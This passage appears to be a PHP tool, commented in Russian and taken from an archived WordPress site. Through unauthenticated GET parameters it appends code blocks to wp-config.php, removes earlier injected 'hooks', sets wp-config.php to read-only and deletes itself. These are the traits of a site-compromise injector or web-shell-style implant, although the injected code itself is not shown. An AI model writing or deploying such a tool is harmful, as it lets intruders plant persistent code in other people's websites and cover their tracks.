";
return;
}
$original .= "\n" . $content . "\n";
file_put_contents($filePath, $original);
echo "✅ Блок добавлен в {$filePath}.
";
}
// 🔹 Функция удаления хуков
function removeHooksFromConfig($filePath, $patterns) {
$content = file_get_contents($filePath);
$modified = false;
foreach ($patterns as $pattern) {
$newContent = preg_replace($pattern, '', $content, 1);
if ($newContent !== $content) {
$content = $newContent;
$modified = true;
}
}
if ($modified) {
file_put_contents($filePath, $content);
echo "✅ Старые хуки удалены из {$filePath}.
";
} else {
echo "❌ Старые хуки не найдены в {$filePath}.
";
}
}
// 🔹 Функция удаления скрипта
function selfDelete() {
$myPath = __FILE__;
unlink($myPath);
echo "✅ Файл удален: {$myPath}
";
}
// 🔹 Функция изменения прав на wp-config.php
if (isset($_GET['chmod'])) {
if (file_exists($wpConfigPath)) {
chmod($wpConfigPath, 444);
echo "✅ Права доступа к wp-config.php изменены на 444 (только чтение).";
} else {
echo "❌ Файл wp-config.php не найден.";
}
exit;
}
// 🔹 Обработка GET-запросов
if (isset($_GET['copy'])) {
if (!file_exists($wpConfigPath)) {
echo "❌ wp-config.php не найден.
";
} else {
appendToFile($wpConfigPath, $scriptToAdd);
appendToFile($wpConfigPath, $hooksToAdd);
}
exit;
}
if (isset($_GET['remove_hooks'])) {
if (!file_exists($wpConfigPath)) {
echo "❌ wp-config.php не найден.
";
} else {
removeHooksFromConfig($wpConfigPath, $hooksToRemove);
}
exit;
}
if (isset($_GET['delete_script'])) {
selfDelete();
exit;
}
// 🔹 Инструкция
echo <<Управление хуками, кодом и защитой wp-config.php
Используйте GET-параметры:
HTML;
?>
plugin.php 0000644 00000000000 15122254131 0006535 0 ustar 00